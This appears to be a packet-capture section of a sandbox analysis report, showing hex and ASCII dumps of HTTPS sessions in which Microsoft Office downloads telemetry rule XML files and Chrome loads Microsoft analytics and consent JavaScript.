2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-20 23:03:41 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:40 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230340Z-1777c6cb754vxwc9hC1TEBykgw0000000a9g000000006zs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:40 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:41 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: aaf9eac1-201e-0000-4977-3ba537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230341Z-1777c6cb7549x5qchC1TEBggbg0000000acg000000003pex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:41 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:41 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 7865c287-e01e-003c-7664-3bc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230341Z-178bfbc474bbbqrhhC1NYCvw7400000000sg00000000rd7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:41 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:41 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 46934538-601e-0050-507b-3b2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230342Z-r1d97b995777mdbwhC1TEBezag00000009gg00000000c4kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:42 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:43 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230343Z-1777c6cb754lv4cqhC1TEB13us0000000a8000000000ccac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:43 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:43 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:43 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230343Z-178bfbc474bwlrhlhC1NYCy3kg00000000kg00000000wx4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:43 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:43 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:43 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230343Z-178bfbc474bscnbchC1NYCe7eg00000000u000000000dqp8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:43 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49831	13.107.246.45	443	7704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:43 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 23:03:43 UTC	713	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:43 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 14289 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 1f729e99-f01e-00b6-687f-3b5f37000000 x-ms-version: 2009-09-19 x-azure-ref: 20241120T230343Z-178bfbc474bwlrhlhC1NYCy3kg00000000ng00000000h99d Accept-Ranges: bytes
2024-11-20 23:03:43 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-20 23:03:44 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 